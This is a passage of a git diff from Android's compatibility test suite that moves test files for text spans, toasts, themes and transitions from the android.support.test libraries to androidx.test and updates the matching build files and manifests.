import android.text.TextPaint;
import android.text.style.IconMarginSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/ImageSpanTest.java b/tests/tests/text/src/android/text/style/cts/ImageSpanTest.java
index 130593b..2908ba8 100644
--- a/tests/tests/text/src/android/text/style/cts/ImageSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ImageSpanTest.java
@@ -25,13 +25,14 @@
import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.Drawable;
import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.cts.R;
import android.text.style.DynamicDrawableSpan;
import android.text.style.ImageSpan;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/text/src/android/text/style/cts/LeadingMarginSpan_StandardTest.java b/tests/tests/text/src/android/text/style/cts/LeadingMarginSpan_StandardTest.java
index 6679caf..7f4b259 100644
--- a/tests/tests/text/src/android/text/style/cts/LeadingMarginSpan_StandardTest.java
+++ b/tests/tests/text/src/android/text/style/cts/LeadingMarginSpan_StandardTest.java
@@ -19,11 +19,12 @@
import static org.junit.Assert.assertEquals;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.style.LeadingMarginSpan;
import android.text.style.LeadingMarginSpan.Standard;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java b/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
index 5aa13af..2144094 100644
--- a/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
@@ -20,12 +20,13 @@
import android.os.LocaleList;
import android.os.Parcel;
-import androidx.annotation.NonNull;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.LocaleSpan;
+import androidx.annotation.NonNull;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/MaskFilterSpanTest.java b/tests/tests/text/src/android/text/style/cts/MaskFilterSpanTest.java
index 7b9f3d9..d713375 100644
--- a/tests/tests/text/src/android/text/style/cts/MaskFilterSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/MaskFilterSpanTest.java
@@ -20,11 +20,12 @@
import static org.junit.Assert.assertSame;
import android.graphics.MaskFilter;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.MaskFilterSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/MetricAffectingSpanTest.java b/tests/tests/text/src/android/text/style/cts/MetricAffectingSpanTest.java
index cb8850e..8ea6c1a 100644
--- a/tests/tests/text/src/android/text/style/cts/MetricAffectingSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/MetricAffectingSpanTest.java
@@ -20,13 +20,14 @@
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.CharacterStyle;
import android.text.style.MetricAffectingSpan;
import android.text.style.SuperscriptSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/QuoteSpanTest.java b/tests/tests/text/src/android/text/style/cts/QuoteSpanTest.java
index 109cafc..de2ff68 100644
--- a/tests/tests/text/src/android/text/style/cts/QuoteSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/QuoteSpanTest.java
@@ -23,10 +23,11 @@
import android.graphics.Color;
import android.graphics.Paint;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.style.QuoteSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/RelativeSizeSpanTest.java b/tests/tests/text/src/android/text/style/cts/RelativeSizeSpanTest.java
index 3cac62e..f95539c 100644
--- a/tests/tests/text/src/android/text/style/cts/RelativeSizeSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/RelativeSizeSpanTest.java
@@ -19,11 +19,12 @@
import static org.junit.Assert.assertEquals;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.RelativeSizeSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java b/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
index 514e22b..7dca324 100644
--- a/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ReplacementSpanTest.java
@@ -19,10 +19,11 @@
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.Paint.FontMetricsInt;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.style.ReplacementSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/ScaleXSpanTest.java b/tests/tests/text/src/android/text/style/cts/ScaleXSpanTest.java
index d243ef6..8a36a52 100644
--- a/tests/tests/text/src/android/text/style/cts/ScaleXSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/ScaleXSpanTest.java
@@ -19,11 +19,12 @@
import static org.junit.Assert.assertEquals;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.ScaleXSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java b/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
index 125b773..23e787d 100644
--- a/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/StrikethroughSpanTest.java
@@ -21,14 +21,15 @@
import static org.junit.Assert.assertTrue;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.SpannableString;
import android.text.Spanned;
import android.text.StaticLayout;
import android.text.TextPaint;
import android.text.style.StrikethroughSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/StyleSpanTest.java b/tests/tests/text/src/android/text/style/cts/StyleSpanTest.java
index 4b4fc7e..723fa27 100644
--- a/tests/tests/text/src/android/text/style/cts/StyleSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/StyleSpanTest.java
@@ -21,11 +21,12 @@
import android.graphics.Typeface;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.StyleSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/SubscriptSpanTest.java b/tests/tests/text/src/android/text/style/cts/SubscriptSpanTest.java
index 000be8d..75cab87 100644
--- a/tests/tests/text/src/android/text/style/cts/SubscriptSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/SubscriptSpanTest.java
@@ -20,11 +20,12 @@
import static org.junit.Assert.assertEquals;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.SubscriptSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
index 4e20ca6..d34b948 100644
--- a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
@@ -25,17 +25,18 @@
import android.content.res.Configuration;
import android.os.LocaleList;
import android.os.Parcel;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.SpannableString;
import android.text.Spanned;
import android.text.StaticLayout;
import android.text.TextPaint;
import android.text.style.SuggestionSpan;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/SuperscriptSpanTest.java b/tests/tests/text/src/android/text/style/cts/SuperscriptSpanTest.java
index 68fa8c8..ffc7413 100644
--- a/tests/tests/text/src/android/text/style/cts/SuperscriptSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/SuperscriptSpanTest.java
@@ -19,11 +19,12 @@
import static org.junit.Assert.assertEquals;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.SuperscriptSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/TabStopSpan_StandardTest.java b/tests/tests/text/src/android/text/style/cts/TabStopSpan_StandardTest.java
index 34c487e..a32c391 100644
--- a/tests/tests/text/src/android/text/style/cts/TabStopSpan_StandardTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TabStopSpan_StandardTest.java
@@ -18,11 +18,12 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.style.TabStopSpan;
import android.text.style.TabStopSpan.Standard;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java b/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
index 489edb2..ffdc22e 100644
--- a/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TextAppearanceSpanTest.java
@@ -26,12 +26,13 @@
import android.content.res.ColorStateList;
import android.graphics.Color;
import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.TextAppearanceSpan;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/TtsSpanTest.java b/tests/tests/text/src/android/text/style/cts/TtsSpanTest.java
index c8a23fc..2b2dcca 100644
--- a/tests/tests/text/src/android/text/style/cts/TtsSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TtsSpanTest.java
@@ -20,10 +20,11 @@
import android.os.Parcel;
import android.os.PersistableBundle;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.style.TtsSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/TypefaceSpanTest.java b/tests/tests/text/src/android/text/style/cts/TypefaceSpanTest.java
index 317cd8e..fc0fa18 100644
--- a/tests/tests/text/src/android/text/style/cts/TypefaceSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/TypefaceSpanTest.java
@@ -22,11 +22,12 @@
import android.graphics.Typeface;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextPaint;
import android.text.style.TypefaceSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/style/cts/URLSpanTest.java b/tests/tests/text/src/android/text/style/cts/URLSpanTest.java
index 067b56b..a273c6b 100644
--- a/tests/tests/text/src/android/text/style/cts/URLSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/URLSpanTest.java
@@ -23,15 +23,16 @@
import android.app.Instrumentation;
import android.app.Instrumentation.ActivityMonitor;
import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.cts.R;
import android.text.style.URLSpan;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java b/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
index 581417f..bdf1326 100644
--- a/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
@@ -21,14 +21,15 @@
import static org.junit.Assert.assertTrue;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.SpannableString;
import android.text.Spanned;
import android.text.StaticLayout;
import android.text.TextPaint;
import android.text.style.UnderlineSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
index eee20a2..99d3c54 100644
--- a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
+++ b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
@@ -21,10 +21,6 @@
import static org.junit.Assert.assertTrue;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.telephony.TelephonyManager;
import android.text.Spannable;
import android.text.SpannableString;
@@ -34,6 +30,11 @@
import android.text.util.Linkify.TransformFilter;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/util/cts/Rfc822TokenTest.java b/tests/tests/text/src/android/text/util/cts/Rfc822TokenTest.java
index 47c4544..2725f72 100644
--- a/tests/tests/text/src/android/text/util/cts/Rfc822TokenTest.java
+++ b/tests/tests/text/src/android/text/util/cts/Rfc822TokenTest.java
@@ -19,10 +19,11 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNull;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.util.Rfc822Token;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/util/cts/Rfc822TokenizerTest.java b/tests/tests/text/src/android/text/util/cts/Rfc822TokenizerTest.java
index c8b81f4..2caea74 100644
--- a/tests/tests/text/src/android/text/util/cts/Rfc822TokenizerTest.java
+++ b/tests/tests/text/src/android/text/util/cts/Rfc822TokenizerTest.java
@@ -19,11 +19,12 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.util.Rfc822Token;
import android.text.util.Rfc822Tokenizer;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/theme/Android.mk b/tests/tests/theme/Android.mk
index ff8536b..771a6de 100644
--- a/tests/tests/theme/Android.mk
+++ b/tests/tests/theme/Android.mk
@@ -24,7 +24,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/theme/AndroidManifest.xml b/tests/tests/theme/AndroidManifest.xml
index e3ba0c6..0264cbf 100644
--- a/tests/tests/theme/AndroidManifest.xml
+++ b/tests/tests/theme/AndroidManifest.xml
@@ -23,7 +23,7 @@
<activity android:name="android.theme.cts.DeviceDefaultActivity" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.theme.cts"
android:label="CTS tests for themes">
<meta-data android:name="listener"
diff --git a/tests/tests/toast/Android.mk b/tests/tests/toast/Android.mk
index bcf7b7e..4c8cd51 100644
--- a/tests/tests/toast/Android.mk
+++ b/tests/tests/toast/Android.mk
@@ -23,7 +23,7 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/toast/AndroidManifest.xml b/tests/tests/toast/AndroidManifest.xml
index 82465b0..9b0804f 100644
--- a/tests/tests/toast/AndroidManifest.xml
+++ b/tests/tests/toast/AndroidManifest.xml
@@ -23,7 +23,7 @@
<application>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.widget.toast.cts"
android:label="CTS tests for toast windows">
<meta-data android:name="listener"
diff --git a/tests/tests/toast/src/android/widget/toast/cts/BaseToastTest.java b/tests/tests/toast/src/android/widget/toast/cts/BaseToastTest.java
index fd75309..df1d47a 100644
--- a/tests/tests/toast/src/android/widget/toast/cts/BaseToastTest.java
+++ b/tests/tests/toast/src/android/widget/toast/cts/BaseToastTest.java
@@ -21,10 +21,12 @@
import android.content.Context;
import android.graphics.PixelFormat;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
import android.view.WindowManager;
import android.widget.TextView;
import android.widget.Toast;
+
+import androidx.test.InstrumentationRegistry;
+
import org.junit.Before;
/**
diff --git a/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java b/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java
index 4ac88b3..63d807d 100644
--- a/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java
+++ b/tests/tests/toast/src/android/widget/toast/cts/LegacyToastTest.java
@@ -16,13 +16,15 @@
package android.widget.toast.cts;
-import android.support.test.runner.AndroidJUnit4;
+import static org.junit.Assert.fail;
+
import android.view.WindowManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import static org.junit.Assert.fail;
-
/**
* Test whether toasts are properly shown. For apps targeting API 25+
* like this app the only way to add toast windows is via the dedicated
diff --git a/tests/tests/toastlegacy/Android.mk b/tests/tests/toastlegacy/Android.mk
index 217fe55..15dad7d 100644
--- a/tests/tests/toastlegacy/Android.mk
+++ b/tests/tests/toastlegacy/Android.mk
@@ -23,7 +23,7 @@
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src) \
../toast/src/android/widget/toast/cts/BaseToastTest.java
diff --git a/tests/tests/toastlegacy/AndroidManifest.xml b/tests/tests/toastlegacy/AndroidManifest.xml
index 8529b5c..df11613 100644
--- a/tests/tests/toastlegacy/AndroidManifest.xml
+++ b/tests/tests/toastlegacy/AndroidManifest.xml
@@ -24,7 +24,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.widget.toast.legacy.cts"
android:label="CTS tests for legacy toast windows">
<meta-data android:name="listener"
diff --git a/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java b/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
index c2ecb3a..9f734e0 100644
--- a/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
+++ b/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
@@ -16,11 +16,13 @@
package android.widget.toast.cts.legacy;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.WindowManager;
import android.view.accessibility.AccessibilityEvent;
import android.widget.toast.cts.BaseToastTest;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Assert;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/transition/Android.mk b/tests/tests/transition/Android.mk
index 5b721e0..b6ed8f4 100644
--- a/tests/tests/transition/Android.mk
+++ b/tests/tests/transition/Android.mk
@@ -25,12 +25,12 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES += \
- android-support-test \
+ androidx.test.rules \
mockito-target-minus-junit4 \
hamcrest-library \
android-common \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
platform-test-annotations
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
diff --git a/tests/tests/transition/AndroidManifest.xml b/tests/tests/transition/AndroidManifest.xml
index 671958f..c825653 100644
--- a/tests/tests/transition/AndroidManifest.xml
+++ b/tests/tests/transition/AndroidManifest.xml
@@ -26,7 +26,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.transition.cts"
android:label="CTS tests for android.transition package">
<meta-data android:name="listener"
diff --git a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
index 6c4de33..4d1756c 100644
--- a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
@@ -34,8 +34,6 @@
import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.Drawable;
import android.os.Bundle;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.Fade;
import android.transition.Transition;
import android.transition.Transition.TransitionListener;
@@ -43,6 +41,9 @@
import android.view.View;
import android.view.ViewGroup;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.transition.TargetTracking;
import com.android.compatibility.common.util.transition.TrackingTransition;
diff --git a/tests/tests/transition/src/android/transition/cts/ArcMotionTest.java b/tests/tests/transition/src/android/transition/cts/ArcMotionTest.java
index db88bde..b71133b 100644
--- a/tests/tests/transition/src/android/transition/cts/ArcMotionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ArcMotionTest.java
@@ -18,10 +18,11 @@
import static org.junit.Assert.assertEquals;
import android.graphics.Path;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.ArcMotion;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/BaseTransitionTest.java b/tests/tests/transition/src/android/transition/cts/BaseTransitionTest.java
index 5917ace..1ccd142 100644
--- a/tests/tests/transition/src/android/transition/cts/BaseTransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/BaseTransitionTest.java
@@ -25,8 +25,6 @@
import android.animation.Animator;
import android.animation.ObjectAnimator;
import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
import android.transition.Scene;
import android.transition.Transition;
import android.transition.TransitionManager;
@@ -36,6 +34,9 @@
import android.view.ViewGroup;
import android.widget.FrameLayout;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/transition/src/android/transition/cts/CaptureValuesTest.java b/tests/tests/transition/src/android/transition/cts/CaptureValuesTest.java
index 538f46c..2c75a8b 100644
--- a/tests/tests/transition/src/android/transition/cts/CaptureValuesTest.java
+++ b/tests/tests/transition/src/android/transition/cts/CaptureValuesTest.java
@@ -19,8 +19,6 @@
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.AutoTransition;
import android.transition.ChangeBounds;
import android.transition.ChangeClipBounds;
@@ -36,6 +34,9 @@
import android.transition.TransitionValues;
import android.util.ArrayMap;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java b/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
index 40ba46b..349f767 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeBoundsTest.java
@@ -25,8 +25,6 @@
import android.content.res.Resources;
import android.graphics.Point;
import android.graphics.Rect;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.ChangeBounds;
import android.transition.Transition;
import android.transition.TransitionValues;
@@ -36,6 +34,9 @@
import android.view.ViewTreeObserver;
import android.view.animation.LinearInterpolator;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeClipBoundsTest.java b/tests/tests/transition/src/android/transition/cts/ChangeClipBoundsTest.java
index 3489391..f703fbc 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeClipBoundsTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeClipBoundsTest.java
@@ -20,12 +20,13 @@
import static org.junit.Assert.assertNull;
import android.graphics.Rect;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.ChangeClipBounds;
import android.transition.TransitionManager;
import android.view.View;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeImageTransformTest.java b/tests/tests/transition/src/android/transition/cts/ChangeImageTransformTest.java
index 6ae8a9f..d5aa3de 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeImageTransformTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeImageTransformTest.java
@@ -27,8 +27,6 @@
import android.animation.AnimatorListenerAdapter;
import android.graphics.Matrix;
import android.graphics.drawable.Drawable;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.ChangeImageTransform;
import android.transition.TransitionManager;
import android.transition.TransitionValues;
@@ -39,6 +37,9 @@
import android.widget.ImageView;
import android.widget.ImageView.ScaleType;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/transition/src/android/transition/cts/ChangeScrollTest.java b/tests/tests/transition/src/android/transition/cts/ChangeScrollTest.java
index 01969cb..b772a29 100644
--- a/tests/tests/transition/src/android/transition/cts/ChangeScrollTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ChangeScrollTest.java
@@ -18,12 +18,13 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
